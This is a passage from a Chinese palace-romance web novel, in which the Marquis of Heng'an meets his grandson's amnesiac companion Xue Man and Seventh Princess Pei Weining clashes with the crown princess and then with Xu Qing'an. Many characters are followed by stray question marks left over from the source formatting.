裴唯宁猛地坐起身,刚要掀帘又堪堪止住动?作,“堵住他的?车,让他有多远滚多远,否则本?公主去父皇面前告他冒犯之罪!” 林何举一字不漏地转述给后方马车,驾车的?空青满脸无语,谁跟踪公主了?能不能去打?听?打?听?,他们回恒安侯府就?是这条路! 许清桉并不争辩,言简意赅,“空青,换路。” 空青得令,驾车掉头改路。这样刁蛮任性的?姑娘,哪怕是公主也叫人吃不消,好在世子不愿跟她结亲。 待许清桉的?马车离开,裴唯宁轻快地扬唇。她最讨厌接贵攀高之辈,人嘛,无论男女,总要有自知之明……嗯,看在他听?话的?份上,这回便不计较了。 公主的?马车从大道驶向?东市,许家马车弯弯绕绕走小路,稍晚些回到恒安侯府。 一入瑞清院,便见前院的?池子旁放着把?矮椅,薛满悠闲坐着,脚边放个?木桶,手握一根鱼竿钓鱼。 她瞧见许清桉,身也不起,向?他招手,“少爷,快来?帮我钓鱼。” 钓自家鱼池里的?鱼? 许清桉踱步到她身侧,木桶里飘着几根水草,“鱼在何处?” 薛满有些郁闷,她被鱼耍了,“你看,它们围着我的?饵乱转,但死活都不肯吃。” “你早上喂过?它们?” “……”何止喂过?,还喂了一大把?鱼食,这会?角落里还漂浮着许多。 “下次钓之前别?喂食。” “知道了,下回先饿它们个?三天三夜。” “等我换过?常服,一起去买龟?” “好啊,不过?你先说说,皇帝找你聊了什么,有没有升官发财,奖励良田美人?” “圣上只听?我述了职,并特许我明日早朝时站第三排。” “妥了,他肯定要在文武百官面前嘉奖你。”薛满跟着他往内院走,开心地道:“虽然你穿七品青服好看,但穿绯红袍肯定更好看,假以时日再穿上紫袍,整个?朝堂数你最好看。” “身为男子,要那么好看作甚?” “你这叫才貌双全,天生?丽质难自弃……” 两人的?身影消失后,苏合现身收拾渔具,空青摸着下巴道:“你说,等老侯爷回来?会?怎么对付阿满姑娘?” “这不是我们该操心的?事情。” “我是担心世子。”空青唉声叹气,“老侯爷可是坚持要世子娶名门?贵女,绝对不会?接受阿满姑娘。方才我们还遇到了那位七公主殿下,世子什么都没做便惹来?一顿冷嘲热讽,真够有意思的?。” “有没有意思都不关?你的?事。”苏合一副面瘫脸,“我们是世子的?人,办好世子交代的?事即可。” 空青暗道无趣,怀疑这个?不涂脂抹粉、不聊闲话的女人是木头桩子转世。 苏合将木桶里的?水泼回池中,方向?偏了些,“不小心”泼到空青的?鞋子。 别以为她不知道他在腹诽! * 许清桉换好常服,领着薛满去往东市花鸟坊。 薛满抗议,“买鳖得去菜市。” “买龟得去东市。” “买鳖可以咬人。” “买龟能送走三代人。” “买鳖!” “买龟。” “买鳖!” “买龟。” “买鳖!” “买鳖。” “买龟!” “好,你说的?买龟,不许再变主意。” “……”糟糕,她中计了。 空青驾车赶往东市,刚过?市门?便见到一辆眼熟的?豪华马车,车旁的?华服少女提着鸟笼,正与身后的?青年说话。 又遇到七公主了! 空青不等对方反应,扬鞭快速驾马通过?,但正因为跑得太快,惹来?裴唯宁的?注目:“谁家马车跑那么快,扬了本?姑娘一身的?灰。” 林何举眼尖,“回主子,好像还是许世子的?马车。” 竟又跟到东市来?了? 裴唯宁跺脚,吩咐侍卫们追上去给许清桉点颜色看看,林何举赶忙劝阻:“主子息怒,毕竟是夫人一手促成的?事,您不如回去跟夫人说清楚。” 说得没错,要不是母后撑腰,许清桉有胆子来?接近自己? 裴唯宁看向?鸟笼里的?八哥,待会?便教它说话:公主独美,竖子怎堪为配! 许清桉不知暗中发生?过?这么一出戏,陪薛满挑了若干条小锦鲤、一对长寿龟、几盆花草。原想再带她在城中逛逛,薛满却道:“不急,等你明日上过?早朝,领了奖赏再带我出去大吃大喝。到时候我要去京城最好的?酒楼,甭管吃不吃得完,我都要放开了点菜。”又想起洒金街的?事情,便警告他,“不许嫌我浪费。” 许清桉道:“我嫌或不嫌,那都是浪费。” “你嫌或不嫌,我都打?定主意要浪费。” “谁出银子?” “你升官发财,当然是你出。” “客随主便,那应该我来?点菜。” “……”薛满道:“空青,转去菜市买鳖。”买回来?第一个?就?咬伶牙俐齿的?许清桉! 最后到底是没买鳖,许清桉给薛满拨了一百两巨款,由她明晚随意挥霍。 看在他态度诚恳的?份上,薛满勉强收下,“我辛苦伺候你十几年,这是我应得的?好处。” 空青见状偷着乐:世子这招“自己逗了自己哄”真是高明! 三人回到恒安侯府,刚进门?便见老管家迎上,朝许清桉恭敬道:“世子,老侯爷跟七表少爷回来?了。” 于情于理?,许清桉都该去拜见祖父。他对薛满道:“你跟空青先回院。” 老管家看一眼少女,“老侯爷点名要阿满姑娘一起去。” “祖父要见我的?人,必须先得到我的?允许。”许清桉不咸不淡地道:“而?我不许,听?到了吗?” 老管家脸色为难,“您知道老侯爷的?脾气,他要做的?事,老奴实在不敢违抗。” “怎么,你要动?手将人绑过?去?” “世子,对不住了,老侯爷说今日必须见到阿满姑娘。” 老管家比了个?手势,侯府的?护卫们便慢慢朝许清桉聚拢,却又逐渐分成两派:一派包围,一派保护,双方形成对峙的?局面。 老管家诧异地看向?保护许清桉的?那群人,他们多是老侯爷旧部之子,对侯府的?忠心不言而?喻。只是不知何时忠心的?对象换了人,从老侯爷反戈相向?世子? 鉴于老侯爷的?脾性,老管家咬牙坚持,许清桉既亮了爪牙,也没有退让的?道理?。 眼看争斗避无可避,薛满忽然道:“你是侯府的?管家吗?” 老管家点头,这位姑娘进府后便被藏到瑞清院,众人只闻其名不见其人。如今一见,明眸皓齿且临危不惧,果然有叫世子刮目相看的?本?钱。 薛满也在仔细端详他,老管家周正老练,低调沉稳,不愧是侯府仆从之首。 是她该努力学习的?榜样! “老管家,请问你姓什么?” “老奴复姓欧阳。” “欧阳?那真是顶好的?姓氏,做你的?子孙肯定特别?幸福,随便取名都好听?。” “多谢姑娘夸奖。”大实话,他给后辈取名字从未犯过?难。 “欧阳管家,你有徒弟吗?” “老奴是侯府的?下人,断没有收徒的?道理?。” “今天就?有了,你可以考虑下我当你的?接班人,我聪明听?话勇敢还识时务,一定会?跟着你好好学习管理?侯府。” “……”她不当世子夫人,要当侯府管家? 欧阳管家看向?许清桉,许清桉镇定自若,“阿满,听?话,你跟空青先带东西回院。” “师父说了,老侯爷今日必须见到我。”薛满手里挽着装龟的?小竹篮,义正词严地道:“我们不要让师父难做。” 欧阳管家:……这小会?工夫,他已经?多出一个?徒弟了? 他希望世子能将小姑娘的?思想拨正,然而?向?来?说一不二的?世子面对她时,只吐出一个?字,“好。” …… 欧阳管家带着许清桉与阿满姑娘前往正厅,一路上,小姑娘积极主动?地朝他打?探管家的?日常事务。鉴于世子在旁,欧阳管家没敢摆谱,尽量挑能说的?说。 薛满听?得津津有味,侯府共计一百三十口人,除去老侯爷、少爷、常年居住在佛寺的?老侯夫人、外嫁的?四位姑太太,剩下的?人里属老管家的?权力最大。他每日睁眼忙,闭眼也忙,生?活很是充实呐! “没关?系,以后由我替你排忧解难,你就?能轻松多了。”她信誓旦旦地道。 “呃。”饶是欧阳管家见多识广,此刻也摸不着头脑。什么意思,小姑娘这是要夺他的?权,削弱老侯爷在府中的?威信?那也该循序渐进,而?不是嚷得人尽皆知。 “师父,你住在哪个?院,从明日起我便跟在你身边学习可好?我要去哪里领婢女的?衣裳?” 欧阳管家眼皮一跳,“阿满姑娘,您是世子的?贵客,老奴不配当您的?师父。” “我是少爷的?婢女,接你管家的?班正好。” “……”一点都不好,“世子,正厅到了,老侯爷正在里面等着,你们直接进去便好。” 欧阳管家飞也似地离开,薛满若有所思,“少爷,他好像不想收我当徒弟。” “不急。”许清桉道:“先管好瑞清院,再接手侯府也不迟。” 但目前为止瑞清院的?人都很听?话,不需要她管教,相比之下,她更想征服侯府里那些捧高踩低的?势利眼们。 薛满摩拳擦掌,“你还记得以前欺负你的?是哪些人吗?写个?名单给我,我挨个?替你收拾他们。” 他们早被许清桉狠狠修理?过?,或打?或卖,见者忌惮。幼时那孤苦可怜的?孩童已不复存在,如今的?恒安侯世子满腹计谋,无人敢欺。 但他知道,在她眼里,他永远是失父失母、受祖父逼迫、仆从欺压的?可怜少爷。 “那些小人不足为道。”他道:“阿满,我祖父在厅里等着你。” “我知道,鼎鼎大名的?恒安侯。”她听?韩越说过?他的?“厉害”,一个?害得少爷亲爹和亲娘生?死离别?的?老顽固。 “无论他说了什么,你都不要听?,不要管,只看我一人就?好。” “你放心,我绝不会?丢下你。” 他显得不确信:真不会?像娘亲那样丢下他吗? 薛满拍拍他的?肩膀,很有安慰下属的?意思,“你放心,我阿满说话算话。” 在她撤回动?作时,他出其不意地握住她的?手,感受到一股跌宕进心底的?温软。 短短一瞬他便松开,“走吧,我们一起进去。” * 沉静古朴的?厅堂内,处处透着一股世家浑厚之势。恒安侯身躯高大,头发花白,面容肃冷地坐在主位上,周身不怒自威。 他虽年过?六十,精神仍旧矍铄,常年在战场上厮杀打?拼出的?赫赫战功使他目光犀利如枭,举手投足间威慑咄人。 恒安侯府承世袭罔替之荣,自老恒安侯许荣轩接手后更是抵达声名顶峰:他辗转大周西、北边境,所到之处战无披靡,夺回城池数百,在外邦眼中犹如催命恶符。 他是天生?的?打?仗奇才,用兵如神,擅长以少胜多,威名远扬天下。 ……这般位高权重的?他,却生?了个?不争气的?儿子,还带了个?大逆不道的?孙子! 方才发生?的?事已传到老恒安侯的?耳中,他怒火中烧,重重哼出一声。当爹的?不挑食,找个?农家渔女当妻子,当儿子的?也有样学样,捡个?来?路不明的?女子做贴心人。 好,真是极好!他当初根本?不该找回那逆子,免得这对父子卯起劲给恒安侯府抹黑! 恒安侯打?定主意,若是孙子一意孤行,最迟下个?月他便去宫中请圣上改封世子,看他还有什么资格跟自己叫板! 脚步声从远到近,恒安侯绷紧脸庞:他要看看哪样的?狐媚子能迷倒那眼高于顶的?孙子! 一抹浅紫色裙摆跨过?门?槛,少女眼眸灵动?,好奇中带着谨慎地望向?上座,这个?看着脾气很差、一脸要吃人的?老头便是恒安侯吗? 吃人的?老头,恒安侯却在看清她的?面容时倏然一颤,内心掀起狂涛巨浪—— 她是何人,怎会?跟絮敏生?得那么相像?! 第59章 第 59 章 恒安侯到底不是莽撞的小年轻, 惊愕过后便不动声?色地观察。少女一身娇贵,落落大方?,面?对他刻意释放的威压仍不卑不亢。 听庞博涛所言, 她在晏州意外救下臭小子,又阴差阳错丢失记忆, 自此缠上臭小子。而臭小子从一开始的不假辞色,到后来甘愿冒险换她平安, 显然待她与众不同?。 不明身份的美?貌少女, 突如其来的救命之恩,莫名其妙的主?仆关系……是头猪都能看出对方?居心不良! 恒安侯本痛骂孙子蠢笨,连这?般浅显的美?人计也能中招,但此时?此刻, 他认为孙子的蠢笨情有可原。 遥想当年, 他跟薛科诚那老匹夫只见了絮敏一面?,回家?后便茶饭不思…… 恒安侯面?沉如水, 视线徘徊在两人身上。光从外形上看,青年与少女好?似天作之合。他那向来对女子敬而远之的孙子不动心则已,一动心则惊天动地, 竟然将府中暗藏的势力曝露人前, 看来已决意与他正面?对抗。 头疼吗?长成的雏鸟要占据巢穴,当然头疼!但也不是没有镇压的办法,无非是激烈一些, 手段下作些,逼他彻底接受属于恒安侯世?子的命运。 恒安侯不觉得良心难安, 类似的事情他干过一次, 再来便是得心应手。然而少女的相貌让他心有不忍,这?么多?年来, 他第一次见到这?么像絮敏的少女,不由?暗暗喟叹,若他当初跟絮敏顺利成婚,孙女想必比她还大上几?岁…… 恒安侯在脑中抓住了一些东西:等等,老匹夫与絮敏的确有个孙女!絮敏紧随其子薛修平去世?后,他还偷偷去看过可怜的小女娃,见她长得跟絮敏相像,便塞了对金镯给她,被老匹夫发现后臭骂了一顿才作罢。 自薛老匹夫辞官离京,恒安侯便没关注过薛府的消息。一是怕触景生情,二是絮敏的大女儿乃当朝皇后,膝下育有皇子皇女,有足够的能力保护唯一的侄女。 言归正传,眼前的少女与絮敏究竟有没有关系? “你叫什么名字?”恒安侯冷声?问。 薛满回道:“我叫阿满。” 絮敏的孙女叫什么来着?不记得了,他哪有工夫去记个小小辈的名字,“姓什么?” “我是少爷的婢女,从小伺候少爷,当然跟着少爷姓许。” “……”他可不记得给瑞清院派过这?么个婢女,“你从哪里来,家?中都有什么人在?” 薛满搬出桃花乡那套说辞,恒安侯正要戳破她话中的漏洞,便听许清桉道:“祖父明明知晓她的情况特?殊,何必刻意刁难?” 恒安侯终于看向孙子,“怎么,问几?句话就心疼了?” “祖父一把年纪却跟个小姑娘过不去,传出去恐怕为人所不齿。” “……”这?小子在威胁他?“本侯偏要刁难,你待如何?” “依孙子之见,祖父老当益壮,既有精力多?管闲事,倒不如请奏圣上重返边境,继续为大周拓土开疆。” 恒安侯今年六十有三,谈什么拓土开疆,希望他死在战场才是真,“你放心,本侯一步都不会离开京城,只要本侯尚在,世?子的人选便随时?能够替换。” “择日不如撞日,孙儿恳请祖父明日与我同?去早朝,直接向圣上申请改封世?子,也省得祖父日夜思虑,身心劳碌。” “你别以为我不敢!” “孙儿明早在门口恭候祖父大驾。” …… 薛满见他们吵得有来有往,许清桉云淡风轻却字句刻薄,恒安侯火冒三丈又拿他无可奈何,两人的对话逐渐偏离本意,越吵越戳心窝子。 恒安侯捏紧木椅把手,熟练地讥讽:“俗话说子肖其母,你果真随了你那上不得台面?的母亲,出身卑劣却不识好?歹。非要扒掉这?身锦衣玉食的皮,将你丢回渔村里摸爬滚打,染上腥臭方?知晓你身上流着何等低劣的血脉。” 许清桉无动于衷,从小到大,类似的话语他听过千八百遍,动怒无非让对方?称心如意。 薛满却不这?么认为!她想也不想地探向小竹篮,摸到东西便朝恒安侯奋力掷去。恒安侯但见一抹绿影袭面?,准确地伸手拦截,呃,捞住了一只……小乌龟? 她拿乌龟砸他? 恒安侯眯起眼,危险地盯着薛满,“你敢袭击本侯?” “老侯爷,我这?是祝福。”薛满皮笑肉不笑地道:“这?是我刚买的长寿龟,我祝你福如东海,寿比乌龟。” “你骂本侯是乌龟?”胆大包天的丫头! “是祝福,祝福好吗。”祝福你是乌龟。 她一本正经地胡说八道,歪横的模样唤起恒安侯深埋在心底的记忆。在那段青涩热烈的少年时?期,絮敏偶尔使坏,便会故意这?么闹他,而他根本生不出一丝恼意…… “出去。”他强压悸动,语气僵硬,“我不想看到你们。” 薛满暗嘁一声?,难道他们想看到他吗?可恶的老顽固!她扯扯许清桉的袖子,“少爷,我们走。” 许清桉毫不犹豫地转身,须臾后,厅中只剩下恒安侯自己。 恒安侯闭上眼,方?才那一瞬间,他仿佛透过她见到曾经的絮敏,再大的怒气都使不出来。 他回到书房,从暗格中取出一幅画轴徐徐展开,画中静立一名粉衣女子,约莫十八、九岁,身材高挑,娉娉婷婷,娇美?潋滟。单看五官,真与薛满有六七分相像。 若将薛满比作含苞待放的花骨朵,粉衣女子便是盛放芙蓉,瑰丽无比。 粉衣女子名为左絮敏,乃前前任户部尚书之女,前任右丞相薛科诚之妻,更是老恒安侯许荣轩今生唯一爱慕的女子。 老恒安侯左思右想,天下之大,貌有相像不足为奇,然而事关絮敏,谨慎些总不会错。他招来一名暗卫,“你去打听打听,薛皇后的侄女姓甚名谁,最近动向如何。” 恒安侯派去打探的人刚走,蜚零也同?时?返回复命。 “启禀世?子,裘家?小姐闺名裘若彤,芳龄十七……” 蜚零仅汇报了两句,便见许清桉合上画卷,丢给他,“拿下去烧干净。” 裘三小姐的画像跟阿满没有半分相似,他错估了对象。 “若在额枋上再描些金漆彩绘便更好?看了……” 额枋描金,皇亲国戚。 许清桉摩挲着书页,半晌没有翻动,直至薛满敲门喊道:“少爷,用晚膳了。” 两人一起用过晚膳,许清桉提着灯笼,陪薛满去前院池边放鱼。 她蹲下身子,掬起一捧小鱼,仔细地放进水中,小鱼们欢快地摆动尾巴,畅游在一方?天地。 “少爷,池子里是活水吗?” “是,从地下引的活水。” “是活水便好?,它们能活得久些。”她顿了一下,“少爷,抱歉,我刚才拿龟砸了老侯爷。” “不是没砸到?” “那也冒犯到他了。”薛满后知后觉地担心,“他会不会因?此迁怒你,对你做不好?的事情?” “比如?” “比如改封世?子,将你赶出侯府。” “若他真这?么做,也与你没有关系。”许清桉道:“从我入府开始,类似的话已经听了十五年。” 薛满不后悔了,老家?伙欺人太甚,她应该再砸一只乌龟。 “没事。”她道:“大不了咱们自立门户,以你的能力,封侯拜相不过是时?间问题。” “你不妨将你家?少爷想得再神通广大些。” “比如呢?”她有样学样地问。 比如他已掌握祖父的秘密,真到撕破脸那一日,祖父便得有身败名裂的觉悟。毕竟他们血脉相连,祖父狠辣,他又岂会是坐以待毙之辈。 他掏出帕子替她擦干手掌,递给她一枚小巧的红色锦囊。 “这?是你为我准备的锦囊妙计?” “嗯,若祖父趁我不在时?威胁到你的生命,你便……” “我便拆开锦囊,谋求活路。”薛满郑重地合上手掌,“你放心,我一定会小心谨慎,不给他任何可乘之机。” * 凤仪宫中,裴唯宁正缠着薛皇后不依不饶。 “母后,您为何要安排我和?许清桉偶遇?我一早便跟你们说过,绝不可能看上那样的人。” “哪样的人?” “您明知故问。”裴唯宁揪着花盆里的叶子,气鼓鼓地道:“老恒安侯抱回个孩子说是嫡孙,难道便真是嫡孙?说不定是路边随手捡来的弃婴呢。” “恒安侯捡个弃婴回府做世?子,合理吗?” “您别管合不合理,只说有没有可能。” “没有可能。” “……”裴唯宁道:“换种说法,即便他真是恒安侯的孙子,但他母亲并没有被侯府承认,顶多?算个不入流的外室。我堂堂一个公主?,怎能有个做外室的婆母?”传出去不得被蒋芸娘那群人笑死! “挑驸马,又不是挑婆母,你该考虑的是他这?个人。” “人也很普通。”裴唯宁脑中晃过那张俊美?无俦的脸,小声?道:“相貌是好?,但他年近二十,还只在都察院当个七品御史,能力可见一斑。” “按你的话说,官职高便能得你刮目相看?” “总比七品小官要高看一眼。” “那你不妨高看他三眼。”薛皇后闭着眼,由?宫女替她揉摁肩颈,“明日你父皇打算将他调至大理寺任少卿一职。” “大理寺少卿?四品?”裴唯宁吃惊,“父皇要一下子给他连升三品?” “没错。” 裴唯宁被勾起好?奇心,走到薛皇后身后,代替宫女替她捶起肩膀,“母后,您详细说说,他因?何讨了父皇欢心,竟能连跃三级到大理寺少卿?” “你既看不上他,又多?余打听他的事。” “听个乐而已,又不是要定亲。母后,您就说嘛……” 她好?一顿撒娇卖乖,哄得薛皇后将许清桉南下巡查立功一事说了个大概。 薛皇后道:“你父皇称他是可造之才,往后要予其重任。” “我还以为有多?厉害,也不过如此。”裴唯宁仍在嘴硬,“兴许这?次是他运气好?,瞎猫碰上只死耗子。” “你去抓只老鼠来给本宫瞧瞧。” “……”她天生尊贵,不需要以此来获取荣华。 薛皇后抬手,示意她到前面?说话,“本宫认为他足够优秀,配得起你。” 裴唯宁不乐意,“母后,在您眼里我只配得上四品官吗?” “你还想如何,等到他官拜一品再与你定亲?” “您说对了,等他官拜一品,我倒能试着正眼看他。” 按照裴唯宁的观念,只有她七公主?挑拣驸马的份,对方?定然趋之若骛。是以,在去往东宫看望太子,听到太子妃与荣国公家?的刘五小姐对话时?,裴唯宁几?乎气得晕厥。 太子妃娘家?与荣国公家?有姻亲关系,刘五小姐算是她的表妹,两人关系颇为亲近。昨日东宫迎来解禁,立时?有不少人前来走动,刘五小姐便是其中一位。 她跟着太子妃来到花园小坐,不顾身边还有下人,迫不及待地向表姐诉苦:“大姐姐,前些日子祖父私下为我说了一门亲事,对方?……呜呜……对方?……呜呜……” 太子妃蒋芸娘忙安抚,“你先?别哭,好?好?说,对方?怎么了?” “对方?是个外室子!”刘五小姐哭道:“祖父要将我嫁给个外室子!” “妹妹定是听错了。”蒋芸娘道:“你是荣国公家?的嫡女,即便不嫁皇子,也绝不会配那低劣的外室子。” 外室子可是比庶子更低微的存在,用嫡女去配外室子?荣国公即便老糊涂也干不出这?等亏本的买卖。 刘五小姐却道:“我母亲已打算为我和?那人合八字,过不了多?久,对方?怕是要上门提亲了!” 说到这?,刘五小姐趴在石桌上痛哭,“我虽不如大姐姐尊贵优秀,但也是正经嫡出的姑娘,他们却要我嫁个外室子……我不如去死好?了……” 蒋芸娘意识到关键,“究竟是哪家?的外室子,能入得了荣国公的眼?” “呜呜呜,便是老恒安侯家?的那位世?子……” “恒安侯世?子?”蒋芸娘有点印象,“前世?子死后再接进府的那位?” “正是他!”刘五小姐抽噎着道:“他生母来路不明,是老侯爷力排众议,直接向圣上请封的世?子位。但大伙嫌弃他的出身,从不肯带着他一起玩。谁能想到,祖父和?爹娘竟要我嫁这?样的人!” 蒋芸娘比她要看得透彻,“恒安侯在军中甚有威信。”荣国公看中的无非是这?点。 “那也是恒安侯的本事,与那外室子有何干系!” “无论他的出身如何,将来都会承袭恒安侯府,倒也配得起你。” “我才不稀罕恒安侯府,我心中已有意中人,若不能嫁给那人,我宁可出家?做姑子去!” 话音刚落,蒋芸娘便瞥了周围的宫女们一眼,待她们悉数退下,蒋芸娘叹口气问:“你还没对他死心?” 刘五小姐的声?音染上一种迷离恋慕,“我本死了心,但他的婚事出了岔子,至今没有定数,那我为何不能豁出去一试?” “我劝你别试。”蒋芸娘道:“端王与薛家?小姐的情分深厚,只要她活着一日,正妃的位子便不可能换人。” 刘五小姐静默一瞬,道:“我愿意退而求其次。” “你想给端王做侧妃?” “只要能嫁给端王殿下,不说侧妃,便是妾室我也愿意。”刘五小姐哀求:“大姐姐,您是太子妃,是端王殿下的长嫂,若您跟他开口,他总要给您几?分薄面?。求您帮妹妹在端王殿下面?前说几?句好?话,让他知晓我的一片心意……” “也罢,三弟后院空虚,将来总要接人回去。你样貌才情都不输薛家?表妹,给他做侧妃绰绰有余……” 暗处的裴唯宁掐断手中花枝,冷笑连连。好?一个多?管闲事的蒋芸娘!好?一个不知羞耻的刘五!她们真当阿满是死的,当她裴唯宁是瞎的吗! 刘五小姐听到蒋芸娘的话本欣喜若狂,正要继续探讨如何行?事,便见树丛后走出七公主?裴唯宁,朝她们一步一鼓掌地靠近。 “哇,太子妃真是好?大一张脸。”裴唯宁眼中跃着怒火,冷讥热嘲道:“怎么,光往太子哥哥身边塞人没法满足你,你还想往我三哥身边塞些没脸没皮的东西?想必再过几?日,你便要往我身边——不,是往父皇身边塞人,好?让整个皇室后宫都以你为主??!” 第60章 第 60 章 太子妃敢往皇帝身边塞人?, 还是在东宫刚解禁的时候——这?是何等严重的指控! 蒋芸娘觉得?胸闷气短,狠狠瞪向裴唯宁身后的宫人?们:一群死人?!连裴唯宁来了都不出声! 裴唯宁挺好心,“你别迁怒旁人?, 是我叫林何举拿剑架在她们脖子上,谁敢出声就别想见到明天的太阳。可话说回?来, 你们两个敢合谋不要脸的事,便该做好被人?骂的准备。啧啧, 堂堂太子妃, 啧啧,堂堂荣国?公家的嫡女……” 刘五小姐眼圈通红,脸色却煞白,“七、七公主殿下, 您误会了, 我和太子妃不是那个意思。” “只?要能嫁给端王殿下,不说侧妃, 便是妾室我也愿意。”裴唯宁撇着嘴,怪声怪气地学,“你们听听, 本?公主有漏一个字吗?有误会刘五小姐的意思吗?” 身后无?人?敢应, 唯有林何举道:“公主说的跟刘五小姐一字不差。” 裴唯宁没忘记蒋芸娘,“太子妃说什么来着?端王殿下后院空虚,将来总要接人?——” “七妹妹!”蒋芸娘高声打断她, 复又摆出雍容之?态,“方?才我们姐妹私下闲话, 的确有些不妥之?处, 还希望你不要往心里去?。” “只?是‘有些不妥’而已?”裴唯宁笑出声,“荣国?公家的嫡女甘愿当小妾, 太子妃要往端王殿下后院塞人?,这?传出去?可比恒安侯家的外室子还要好笑呢。” 她转身问宫人?们,“你们觉得?好不好笑?” 宫人?们死死地垂头,巴不得?原地消失。仍只?有林何举配合自家主子,“好笑。” 蒋芸娘恨得?咬牙切齿,总有一天她要给裴唯宁和这?狗腿侍卫好看!但眼下,她硬生生地咽下这?口气,道:“小五,你身为荣国?公家的嫡小姐,以?后切莫再?说妄自菲薄之?话。” 刘五小姐咬着下唇,不肯吱声。端王殿下俊雅华贵,是京城贵女们的心之?所?向。凭什么薛家小姐可以?,她却不可以?…… “哦,你们还不知道吧?”裴唯宁字字清晰,“我三皇兄跟母后说,此生只?娶阿满一人?,绝不纳任何侧妃妾室。” 闻言,刘五小姐经受不住打击,掩面痛哭着跑开?。 裴唯宁挑衅地看着蒋芸娘,想给阿满添堵是吗?也得?看她有没有这?个本?事! 蒋芸娘反倒冷静许多?,裴唯宁与薛满沆瀣一气,向来与她不合。而在她眼里,这?两人?简直幼稚到可笑,“七妹妹,你跟阿满该少看些话本?子。”免得?被些乱七八糟的东西霍霍了脑子。 “太子妃才该少往太子哥哥身边塞人?,否则时间一长,恐怕他真要移情别处。” “无?论殿下身边有多?少人?,我都是殿下唯一的正妻。” “既然你这?么自信,为何不见太子侧妃、良娣们顺利生出儿子?”裴唯宁要笑不笑的,“蒋芸娘,你骗骗自己就得?了,别将旁人?都当成傻子,也别试图多?管三哥的闲事。要是让阿满知道你的打算,与三哥生了芥蒂,我可说不准太子哥哥会怎么罚你。” 蒋芸娘再?维持不住笑脸,比起七公主裴唯宁,她更讨厌薛家阿满。仗着皇后侄女的身份,薛满从小跟裴唯宁出双入对,深受端王与太子的关?爱,连茹楠都待她亲热至极。 不过?是个爱看话本?、爱做白日梦的丫头罢了,什么一生一世一双人?,全是书局编出来哄蠢人?的玩意,只?有她跟裴唯宁奉为真理。 蒋芸娘在心底冷笑,她倒要看看,等将来裴长旭厌弃薛满,另纳他美时,薛满和裴唯宁的脸垮得?有多?厉害,哭得?有多?伤心欲绝。 她真是迫不及待要看她们的笑话! …… 裴唯宁收拾完蒋芸娘和刘五小姐,满肚子火气仍没有消减的迹象,随后意识到,她还忘记了一人?。 许清桉,他竟敢一面勾引自己,一面跟荣国?公府议亲! 岂有此理!欺人?太甚!不知好歹!水性?杨花! 裴唯宁看了眼天色,“林何举,几时了?” 林何举道:“公主,这?会是日中。” 裴唯宁道:“去?打听打听许清桉在哪。” 林何举很快便复命,“圣上在早朝时升许大人?为大理寺少卿,命他三日后去?大理寺报到,是以?,早朝结束后,许大人?仍返回?都察院当差。” 新鲜升职的大理寺少卿许大人?啊……好歹有过?一面之?缘,本?公主得?当面祝贺才是。 裴唯宁雷厉风行,命林何举驾车到都察院。门口的守卫不认识他们,正要阻拦,便见对方?拿出一块皇家令牌,上头清晰可见“合宜公主”四个大字。 那可是圣上最宠爱的七公主! 守卫不敢怠慢,点头哈腰地行礼,不多?时,副都御史宋同化便出来迎接,恭敬作揖道:“下官见过?七公主殿下,殿下大驾光临,莫非是圣上有旨意传到?” 隔着帘子,裴唯宁懒洋洋地道:“非也,本?宫此次前来是为私事。” “不知公主为何私事?” “本?宫要找一个人?。” “公主要找何人??” “许清桉。” “御史许清桉?” “你该改口了,他如今是大理寺少卿许清桉。” “公主所?言甚是。”宋同化低眉顺眼,“公主稍等,下官这?就去?喊许少卿出来。” “何必这?么麻烦。”裴唯宁掀帘,踩上林何举放好的小凳,神态傲睨,“你带本?宫去?见他便是。” 裴唯宁高视阔步地走进都察院,无?视由她引起的一片诧异、探究目光。她十分清楚来此的后果,旁人?会质疑 依譁 许清桉的升职别有内情,会怀疑他的能力掺杂水分,会议论他的出身,嘲笑他的手段…… 哼,这?便是他愚弄自己的代价。 因是午膳时间,其余人?都离开?公事房,唯有许清桉仍坐在书案前忙碌。时间紧迫,他得?加快安排好都察院的事务交接,方?能前往大理寺报到。 裴唯宁挥退旁人?,独自推开?公事房的大门。木门铰链发出晦涩的吱呀声,如同一把尖锐的起子,捅破满室静谧。 许清桉没有抬头,他以?为是某位同僚返回?,不甚在意。 裴唯宁亦没有出声,不由自主地打量起周围。简约陈旧的大通间,隐约泛着书墨香气,前后排列着六张书案,两边的窗户打开?,光亮从侧边斜入,恰好投在许清桉的身后。 他穿着青色公服,玉冠束发,气宇轩昂,端坐案后,骨节分明的右手举笔走墨,眉眼聚精会神。 像一块上好的青玉,丢在暗室仍难掩清辉……但也只?有外貌惑人?而已! 裴唯宁定?了定?神,不客气地喊道:“喂,许清桉。” 许清桉走笔的动作一顿,抬头看向来人?,未见诚惶诚恐。 裴唯宁感到被冒犯,“你见了本?公主为何不起身行礼?” 许清桉没有理会,反问:“公主殿下找我有事?” 裴唯宁立即借题发挥,“你好大的胆子,竟敢藐视皇威!” 许清桉一动不动,恹眸淡淡,“公主殿下,有话不妨直说。” “你,”裴唯宁指着他,“父皇刚升你为四品官职,你便视尊卑礼仪为无?物,许清桉,你真是嚣张至极!” “公主若觉得?我无?礼,大可到御前参我一本?,我任凭圣上发落。”许清桉道:“所?以?,公主找我有事吗,没事的话我要继续处理公务,请公主殿下移驾别处。” 裴唯宁怀疑他疯了,上回?见面时还只?敢低头避让,今日却一副不耐烦的模样,难道真以?为得?了父皇的看重,便能够与她抗衡? “许清桉。”裴唯宁走到他的桌案前,一把夺过?他刚书写的公文,随意看了两眼后丢到旁边,“本?宫有事要问你,你若不好好回?答,小心我烧了你办理的所?有公文。” 她算得?上女子中的高挑身材,却比坐着的许清桉高不出多?少。她努力俯视他,一如既往的姿态高傲,“我问你,你身为恒安侯世子,一边创造机会与本?公主偶遇,一边又跟荣国?公府议亲,究竟意欲为何?” 许清桉往椅背靠去?,拉开?与她对视的距离,“我没有与荣国?公府议亲。” “你还敢狡辩?本?公主亲耳听到刘五小姐说要和你合八字。” “刘五小姐愿意跟谁合八字便跟谁合,跟我没有任何关?系。” “怎么会跟你没关?系,恒安侯府只?有你一个外室——”裴唯宁倏然住口,大发慈悲地改道:“只?有你一个世子。” “我祖父尚在。” “……”老恒安侯? “近来我祖父与荣国?公来往密切,兴许是他老人?家看上了刘五小姐,意欲纳她进府做妾。” “……”裴唯宁张口结舌,他在说什么大逆不道的话,一把年纪的老恒安侯跟风华正茂的刘五?像话吗?可能吗? “再?有,我没有创造机会与公主偶遇。”许清桉道:“那日在太清门,我是正常离宫,恰好撞见了公主殿下。” 